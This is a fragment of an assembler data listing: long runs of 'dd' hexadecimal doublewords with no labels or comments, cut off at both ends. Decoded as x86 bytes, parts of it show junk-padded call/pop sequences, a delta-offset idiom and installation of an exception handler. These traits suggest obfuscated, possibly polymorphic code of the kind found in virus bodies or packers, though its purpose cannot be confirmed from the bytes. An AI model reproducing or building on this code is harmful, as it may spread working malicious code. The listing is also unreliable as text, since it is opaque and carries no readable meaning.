44810424h, 1C0424h dd 56460000h, 0EA474BC3h, 0F5162D95h, 1C735A6h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0E7C35141h dd 9952ED7h, 8A0FCE70h, 6, 729BD8Bh, 0F18B05EAh, 441C7h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 9D34C357h, 0B58B046Ah, 5EA06B1h dd 840FC00Bh, 75h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0C7C35141h, 737492F2h, 218D8D6Ah, 6A05EA4Ch dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0E82CC357h, 0B8F78B66h, 5, 0E1FF5F57h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B5C35040h, 0ACE0A447h dd 3D0B7A4h, 0ED8D8DBBh, 2905EA15h, 0EA25C5BDh, 7C01C705h dd 6644AA72h, 819CF6BFh, 99CFCB01h, 0FE8B6614h, 3C0441C7h dd 6ACE7875h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 566CC357h, 6A46BDDDh, 0B70F885Fh dd 0CF8166F9h, 41817320h, 0D6D71004h, 56006A31h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0B9D5AFF4h, 8B66EE5Ch, 29006AF3h, 0EA1ECD95h, 0ED858D05h dd 6A05EA15h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 61C4C350h, 6090E833h, 9E9h, 0B8483A00h dd 0F4AC5083h, 5160C5B4h, 61FD8A5Fh, 0BE665061h, 0F90870Ch dd 0D82h, 0E1816000h, 363CCFB7h, 47DDC3BBh, 95FF6137h dd 5EA147Dh, 0EE19D89h, 8D8D05EAh, 5EA15EDh, 1C7h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0BCE37AC3h, 99D02DD7h, 41C7F78Bh, 4, 41BD8900h, 0B05EA02h dd 74840FC0h, 0E9000000h, 0Dh, 4FF843B8h, 0D47C1A2Ch, 41789750h dd 95BD8BEBh, 8D05EA29h, 0EA4C218Dh, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 29BE6824h dd 0EA0A3D95h, 65B58B05h, 0B805EA00h, 5, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 15h, 8BC35141h, 0FE1FFAEh dd 8166F0B7h, 8DF635CEh, 0EA15ED8Dh, 9E905h, 11130000h dd 0D2D293C1h, 0C7E00DFBh, 0CA95A501h, 0CB018154h, 6A1499CFh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 6463C355h, 0FDC4C25h, 681h, 259D8900h, 0C705EA0Ch dd 59690441h, 2952CE5Fh, 0EA0B1D95h, 41815F05h, 0D6D71004h dd 51006A31h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 6AE471h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 96C35242h, 0FF337E1Bh, 0BB50609Dh, 7A043EFh dd 76A8BB58h, 8D616DD9h, 0EA15ED85h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 55C60194h dd 74F2A949h, 15BD8B13h, 8905EA2Bh, 0EA067D95h, 8B509005h dd 6A90F1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 0A21102C3h, 45C5C18Bh, 8BF9FD5Fh, 0EA0C49BDh dd 7D95FF05h, 0F05EA14h, 8Eh, 0ED8D8D00h, 6A05EA15h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 52C9C356h, 0BF0F9492h, 1C7F6h, 50000000h, 9C2AC781h dd 335E1747h, 0EA1539B5h, 441C705h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 6BC35545h dd 0BF54963h, 68840FC0h, 81000000h, 5A6F9CDFh, 218D8D4Ah dd 6A05EA4Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 0B892C356h, 5, 1840Fh, 0FFF80000h dd 53006AE1h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 56CA8A47h, 5FCBF993h, 95850950h, 5F05EA29h dd 0F6816653h, 35FDA98h, 0F1EDE9CAh, 0E960FFFFh, 0Ch, 0AFBA1D5h dd 0ADD2517h, 2BE12A39h, 9EE98060h, 0EE8h, 8F5BDE00h, 494BB20Eh dd 2C32F777h, 59E3498Fh, 47C28166h, 14E8C5h, 25110000h dd 5F47A617h, 0BD8E428Fh, 0CC061C79h, 361ACE01h, 61585A77h dd 9F1B503h, 8B6105EAh, 0F0B70FC1h, 0F08B6650h, 4EB5Eh dd 0F8000000h, 2F5B589h, 858D05EAh, 5EA298Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0F3C35545h, 0C7F7F2AAh dd 1601BD31h, 505005EAh, 9E852h, 1E020000h, 0C7BDE4B1h dd 0BE2BBEAAh, 60AB14FBh, 66310F5Eh, 5A563DBEh, 24048958h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 90C35242h dd 8B006A74h, 0EA2ED1B5h, 6A006A05h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0A673C350h dd 2E3996ABh, 89E99747h, 0EA2E699Dh, 0E9858D05h, 6A05EE07h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 8957C350h, 0EA331D95h, 0D8D0F05h, 60000000h dd 39D18166h, 0F8D08109h, 6174EB50h, 6A05C083h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 42CCC355h, 6057989Dh, 860Fh, 0BD8B0000h, 5EA0885h, 0E9505E61h dd 6, 65D24C13h, 48962B3h, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 50BD6F34h dd 47DCEE86h, 1AF1B58Bh, 6A05EAh, 850Fh, 6A0000h, 13D5B58Bh dd 95FF05EAh, 5EA23E9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 74C35040h, 0C42A9AC5h, 0A2B65E68h, 59B529F9h dd 8D05EA09h, 0EDD89D9Dh, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0D5A0EE7h dd 0A5547149h, 1D9DB58Bh, 0D3FF05EAh, 0D49B58Bh, 85FF05EAh dd 5EA1C49h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 0FEC35646h, 6899D89h, 0D7E905EAh, 0E8000009h, 0 dd 0F3ED815Dh, 6A05EE07h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0A25DC353h, 32F299Fh dd 0E6816648h, 13E9DCF3h, 0F5000000h, 4B37DCBEh, 2D64AB9Ch dd 8DA54DEFh, 20A8750Bh, 81FC8216h, 0EA169DBDh, 7D005h dd 30860F00h, 0F000001h, 8Dh, 0D59D8B00h, 6A05EA14h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0D266C350h, 0E381B727h, 100h, 13A9B58Bh, 0DB0B05EAh dd 7C850Fh, 0B58B0000h, 5EA19BDh, 5FABD83h, 0F0005EEh dd 3384h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 0C06E8093h, 0C4BE4F5Ah, 525103C5h dd 5EF78B66h, 7AE9h, 0F6B70F00h, 5FA85C7h, 105EEh, 68E90000h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 775DC351h, 5BA6A32Bh, 323DB503h dd 85C705EAh, 5EE05FAh, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 85C35141h dd 0A0CEA78Ch, 0E912FD0Eh, 9, 75E7CAC5h, 0D23E006Ch, 2DB58BEFh dd 8D05EA0Bh, 0EA14D59Dh, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0E3B157CEh dd 81F3EA3Dh, 0FFFEFF23h, 11BD89FFh, 6605EA12h, 6ADB8Ch dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0F39FECC3h, 38A10075h, 8501F240h, 5EA2EBDh, 0F04C3F6h dd 7A84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 1A20FC8Dh, 522C3088h, 0B4DB589h dd 605E05EAh, 0DE58529h, 0D88B05EAh, 0C595FF61h, 8B05EA2Ah dd 0AE990F7h, 6E000000h, 0A1DB29D3h, 0AD9D4901h, 0BE565000h dd 567D9889h, 6A905Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 867CCCC3h, 66765952h, 0E97AD3BEh dd 42Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 0F4C35040h, 0A9712407h, 0F5924D0Ah, 0CDB58BFAh dd 0B005EA08h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 0AE97Fh, 48FC0000h, 126DF6DAh dd 5ADC73E6h, 0BF0F70E6h, 6A71E4F2h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 7D8C350h dd 0B4D6C408h, 89F1100Fh, 0EA0A91B5h, 0D8B60F05h, 29C1B58Bh dd 6BA05EAh, 66000000h, 8B38F3BEh, 0CE9C3h, 0D5770000h dd 0DC266D1h, 0A0CCF7C1h, 0E8C1C75Ch, 0E2F76604h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 9AC35646h, 0CB3C18D9h dd 90D78930h, 1CA1B58Bh, 0B52905EAh, 5EA2BD1h, 6AD82Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 3A5081C3h, 6693F78Bh, 50E229BEh, 9D46BE66h, 52006A93h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0C71A391Ah, 0A11173B1h, 0F28BF7DFh, 169DB5FFh, 6A05EAh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 89632BC3h, 0CA067250h, 89BD957Ah, 0EA2D2595h, 1595FF05h dd 6A05EA10h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 0FF87C353h, 958900B0h, 5EA12CDh dd 0A99B58Bh, 70E605EAh, 0E4F3BF0Fh, 57006A71h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 3C70D1D7h dd 64830F61h, 0F000002h, 820FD8B6h, 0Ch, 6810Fh, 840F0000h dd 0 dd 28F19589h, 6BA05EAh, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0D937C357h dd 89C38B13h, 0EA258D85h, 4E8C105h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 50C35040h, 0E8133352h, 0Bh dd 4A9CDC5Dh, 3E442A1Ah, 89CC0A4Eh, 0EA17E98Dh, 0F7665E05h dd 51006AE2h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0C5670197h, 0DE9D82Bh, 0DA000000h, 2166FE26h dd 0F1CF5554h, 14AEA7ACh, 0F6816658h, 0B70F099Dh, 0FD82BF3h dd 19E88h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0CD705EDAh, 0EB67B7C1h, 0F18B66AEh dd 7B9h, 9E900h, 67E20000h, 938D3DACh, 6060CF5Eh, 0C21958Bh dd 8D0F05EAh, 4, 0CF14B866h, 0C18361h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 61C35747h, 5AFC9F4Fh, 0F38B2243h dd 860FD93Bh, 123h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 49C35242h, 0BAA70860h, 8C666F27h, 56006AD9h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 3E671454h, 0F69B2B8Fh, 840F04C1h, 0CDh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 31C35646h, 0E4237F30h dd 0BD8B60D7h, 5EA3225h, 7B98503h, 0E96105EAh, 0Ch, 6CD47814h dd 1F4E0D51h, 9F8F5294h, 2AC595FFh, 6A05EAh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 7AB3FDC3h dd 2F0D38C4h, 55B50BE7h, 5B05EA07h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 29C35646h, 58D0E6F1h, 0E4E2DB14h dd 6AC32BF4h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 3D11C351h, 834h, 0F860Fh, 0B58B0000h dd 5EA0EB9h, 0AE9h, 0A8BE6600h, 66C08BEDh, 8BB0BFBEh, 6AD88BC3h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0E85BC357h, 7F9B58Bh, 85C705EAh, 5EA146Dh dd 72094757h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 48C35646h, 755B58Bh, 0C08B05EAh, 169DBD81h, 7D005EAh dd 850F0000h, 38h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 23C35545h, 89A4DBA6h, 0EA06B1B5h, 0B58B5205h dd 5EA1531h, 9D85FF5Eh, 0BE05EA16h, 7B17937Ch, 169DB5FFh dd 0FFF905EAh, 0EA101595h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 13793A17h dd 0E849B274h, 14E9827Ch, 0A9000000h, 0C1E2A608h, 0B763997Eh dd 0DBC43B49h, 0FD985EF2h, 90C06D0Ch, 8166D88Bh, 8B00AFD6h dd 0EA1671B5h, 0F5BD8305h, 5EA29h, 34840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 0A73991C3h, 2D5E41D5h, 0ABDE81D1h, 0E934283Eh, 22Fh dd 1C0DB58Bh, 0DF8C05EAh, 3880F60h, 0F000000h, 6661D7B7h dd 4C7F7h, 211850Fh, 3FBE0000h, 0BF1AB94Ah, 0 dd 251D8D89h, 8D8905EAh, 5EA2515h, 11959D8Dh, 6A05EEh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0F91047C3h, 0ABF7369Ah, 7E9F1h, 93420000h, 0C28E4125h dd 0BF6050A5h, 4A0DF5F9h, 241C8961h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0C35141h, 96D4AAE5h, 0CE91Ch dd 8660000h, 0BCFE3CFDh, 705EDA20h, 0FF64C1CDh, 35h, 25896400h dd 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 58C35343h dd 0A096F0BFh, 0FC48B06h, 686h, 29BD8900h, 8105EA2Fh, 0DB9201DEh dd 0EB01CD1Ch, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 86B97F86h, 6A2EB5h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 8F64E6C3h, 5, 9E800h, 63980000h, 754F17E4h, 8193B344h dd 0B2711ED6h, 0C4835E21h, 9E904h, 0EF190000h, 70A86539h dd 0B3C4B17h, 0D0840FC0h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0F362C357h dd 0E2A867EEh, 3860Fh, 0BF0F0000h, 49B589F2h, 8D05EA0Bh dd 0EA4C21BDh, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 0AAEC2D7Bh, 89EF6D95h dd 0EA0D8D85h, 5B805h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 0C2E340C3h, 66F9AFE8h dd 0FF7FEABEh, 51006AE7h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 4EA8C329h, 8B573F4Ch dd 8B10245Ch, 0B883h, 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h dd 2000000h, 0C3C0335Fh, 2BF7BF0Fh, 0F62DE9CAh, 0BF0FFFFFh dd 0C18BFCF2h, 2A15BD8Bh, 4EB05EAh, 0 dd 0AE9h, 724A8400h, 766FC7A8h, 6A6DBD9Ah, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 96EFC353h dd 892FC195h, 0EA10F985h, 8D858D05h, 8905EA29h, 0EA06ADB5h dd 52509005h, 6880Fh, 850F0000h, 0 dd 0CE8310Fh, 53000000h, 67F15823h, 0C9EEBDF5h, 0BE8F8CEDh dd 6A2C71A2h, 50585A5Fh, 21BD8B90h, 6A05EA30h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0F18D0974h, 905EA0Eh, 0EA2D01BDh, 8D006A05h, 0EE135385h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 0F0B9580h, 8Ah, 5C08300h, 0BF50FE8Bh, 21542ABEh dd 6A240489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 89EAC353h, 0EA2C599Dh, 0CDBD3105h dd 6A05EA1Ch, 85895100h, 5EA0CE1h, 89006A5Eh, 0EA1BB58Dh dd 0E995FF05h, 5205EA23h, 1C89B533h, 8D5E05EAh, 0EDD89D9Dh dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 0B3CFA783h, 83BF3CCCh, 0FF31A135h, 0E99D29D3h dd 0FF05EA0Fh, 0EA1C4985h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0A6AADF5Eh dd 2228593Ch, 9BF4BE66h, 79EE9h, 0E800h, 815D0000h, 0EE135DEDh dd 0F6816605h, 0BD814BF4h, 5EA169Dh, 7D0h, 0FE860Fh, 8BF50000h dd 0EA0B459Dh, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 71FDA791h, 57CF8BA0h dd 5E8h, 69EFC900h, 8D317FB7h, 5EA0F29h, 0E3815Fh, 0F5000001h dd 850FDB0Bh, 89h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 2AC35242h, 0BEDB50Bh, 0AE905EAh, 0F2000000h dd 6F05EDB8h, 0DA490484h, 0CFBD83BDh, 5EE11h, 0E840Fh dd 85890000h, 5EA1DA5h, 50E9h, 0F38B6600h, 11CF85C7h, 105EEh dd 0B58B0000h, 5EA2025h, 38E9h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 8FC64B31h dd 9EE36C3h, 0EA1BFD9Dh, 0CF85C705h, 5EE11h, 29000000h dd 0EA328595h, 459D8D05h, 0F05EA0Bh, 387h, 0FA8B6600h dd 0FEFF2381h, 8D0FFFFFh, 0 dd 89DB8C66h, 0EA12BD85h, 4C3F605h, 31840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0E075D3C3h, 5B156357h, 77D78166h, 0C595FFC1h, 5005EA2Ah dd 0E9240489h, 3FCh, 0B52900B0h, 5EA1BA5h, 0BD8B70E6h dd 5EA2EDDh, 6A71E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 66EF0AC3h, 689FF681h, 11399D89h dd 0B60F05EAh, 6BAD8h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 66FD59C3h, 0C38BF28Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0D6C35040h dd 6850F1Fh, 89000000h, 0EA15C995h, 4E8C105h, 2381B589h dd 0F76605EAh, 61B58BE2h, 2B05EA2Eh, 56006AD8h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 1C09B2Ah, 6850Fh dd 0B58B0000h, 5EA3061h, 66525093h, 0F10ABBEh, 8E931h dd 0D09F0000h, 0A0988BFBh, 585ACA68h, 6A9350h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0FFF92BC3h, 0EA169DB5h, 1595FF05h, 0E905EA10h, 0Fh dd 685A7BAFh, 1B4A1F84h, 9AB79EF2h, 0B05858C4h, 51BD3300h dd 0E605EA01h, 6E870h, 0B84C0000h, 0DD204B7h, 71E45EFCh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0DFC35141h dd 0AA1C3DB5h, 0F613C25h, 29783h, 74BE6600h, 0D8B60F4Bh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0CAC35646h dd 37E17E59h, 6BA36h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 98A1E0C3h, 661CD9E6h dd 0C38BF967h, 6A04E8C1h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 1BDBC353h, 8E0F800Dh dd 0 dd 66F0BF0Fh, 6AE2F7h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 871D82C3h, 0AAFD1665h, 66C863DCh dd 0D82BF78Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 0EEC35747h, 3AAF936Ch, 8C0Fh, 8B600000h, 0EA065585h dd 0E5958905h, 6105EA23h, 0FE8h, 1CE03400h, 0B1F70CFFh dd 0AA5B9B83h, 53685F8Ah, 0F0DE8166h, 6A585E85h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 0CBCFC351h, 0D9AE1265h, 1525BD8Bh, 0D82B05EAh, 16E880Fh dd 8A0F0000h, 6, 0F49B503h, 7B905EAh, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 68DEC352h, 83A395E8h, 816600C1h, 3B670ECFh, 2D860FD9h dd 66000001h, 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 0B409F1C3h, 0F04C1F6h, 0E284h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 4F4A3BE7h, 119D29EEh, 0FF05EA29h, 0EA2AC595h, 35B58B05h dd 5B05EA1Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 0AC35646h, 2BF3B70Fh, 11E8C3h, 221F0000h, 0B7F1080Ah dd 0C16F4817h, 0C8219241h, 0E9EC0518h, 13h, 9BDC4205h dd 0BE0F2242h, 19B73336h, 0E0A0E0C8h, 5FDA91C8h, 8343Dh dd 54860F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 6733C357h, 0F319E057h dd 8962714Fh, 0EA1CFD8Dh, 46E905h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0C2B1D4C3h dd 874DF11Eh, 8B2921D5h, 0C18589C0h, 0F05EA2Ah, 1389h dd 0BE800h, 0FE110000h, 3807483Fh, 7EF733F6h, 5EF98BF7h dd 0D88BC38Bh, 8E8h, 0B975A200h, 3D92C5BCh, 7DB58B83h dd 5E05EA0Ch, 444CBF66h, 14D585C7h, 0B1FB05EAh, 6A1D23h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0EEF6BDC3h, 8988DF4Ch, 0EA2A0995h, 6AC08B05h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0E84FC352h, 2A75BDF2h, 813A9AB5h, 0EA169DBDh, 7D005h dd 3F850F00h, 8B000000h, 9D85FFF1h, 6A05EA16h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0C9C7C350h, 0E8DF55E4h, 0Bh, 36BB74DAh, 6AC3A376h, 8B76B6CAh dd 0EA12D5BDh, 0B5FF5F05h, 5EA169Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 0C4C35040h, 8D0FB9A8h, 0 dd 101595FFh, 6A05EAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 0B04673C3h, 25206D6Ch, 90F9F5B0h dd 2E6D9D89h, 6A05EAh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 49D92DC3h, 32F19DC5h, 68E0Fh, 0BD890000h dd 5EA1685h, 9E960h, 68580000h, 334C0292h, 0E98EFBE5h dd 6, 279F806Ah, 8961C07Ah, 0EA1A8D85h, 6AF505h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0BBF0DAC3h, 0C8B550C2h, 9253C781h, 8B0F5803h, 6, 1E4DB589h dd 0B58B05EAh, 5EA2CB1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 5DC35747h, 0A25769CFh, 4F30E161h, 6810FF4h dd 29000000h, 0EA0AD1B5h, 0E9B50305h, 6A05EA24h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 0F72C357h, 2B81h, 0B9B58B00h, 6005EA0Fh, 0C359D33h dd 0E9F505EAh, 11h, 33970127h, 8EC57046h, 1DC0A7BEh, 92EF8CCDh dd 41BD89AFh, 6105EA0Fh, 0FFF86CE9h, 5E9FFh, 14CB0000h dd 8B16916Ch, 57006AC1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 0E4FD8098h, 0F78B7C39h, 4EBh, 0B58B0000h dd 5EA08FDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0A4C35141h, 14E8h, 0AB71B600h, 0FF311A5Bh, 1B547F0Bh dd 0F1273C14h, 0ACB600B4h, 858D5FA2h, 5EA298Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0E9C35040h, 228B9500h dd 7559589h, 8B9005EAh, 8B9050F2h, 0EA0139B5h, 6A006A05h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 0F80C352h, 0BDBD892Ch, 0E905EA12h, 11h, 5AEFA424h dd 79798034h, 63796A90h, 0AE77BAD7h, 6A006AA4h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0BF3BC350h, 5A7C60BDh, 8BE613C3h, 0EA085DBDh, 2A858D05h dd 6A05EE1Dh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 3D8CC355h, 3105C083h, 0EA24019Dh dd 0F605005h, 680h, 880F00h, 56000000h, 310F5250h, 6159585Ah dd 6A240489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0E6E4C355h, 17BE666Dh, 0FB8B668Ch dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0BAB8D9C3h, 7BBC67F2h, 0EEBED911h, 6A286F45h dd 0E995FF00h, 6A05EA23h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 0E86AC350h, 0Bh, 0F266DC2h dd 0B2436AF2h, 8992A26Eh, 0EA1AF19Dh, 9D8D5F05h, 5EDD89Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0B6C35242h dd 0F15BD8Bh, 0D3FF05EAh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0BFC35141h, 0AE858BC6h, 3A5E444Ah, 1319D89h dd 5F5305EAh, 1C4985FFh, 0E9FC05EAh, 838h, 0E8h, 0ED815D00h dd 5EE1D34h, 9F58589h, 0BD8105EAh, 5EA169Dh, 7D0h, 162860Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0E8B5BFC3h, 11h, 0F3A22918h, 4CAC48AEh, 3351DA35h dd 3060A158h, 29BD8BB4h, 5E05EA13h, 8BF38B66h, 0EA15599Dh dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 0E147E82Ah, 87F6649Eh, 0E381F4h, 6A000001h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 39CFC353h, 0B77F2485h, 54503BC5h, 3E3479BEh dd 28E0F5Eh, 8B000000h, 0FDB0BFBh, 7885h, 1DBD8300h, 5EE1Bh dd 2F840Fh, 5F520000h, 8BE9h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 68C0F2Eh, 8B000000h dd 0EA1E89B5h, 1D85C705h, 105EE1Bh, 56000000h, 5740C681h dd 0E95F64C9h, 4Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 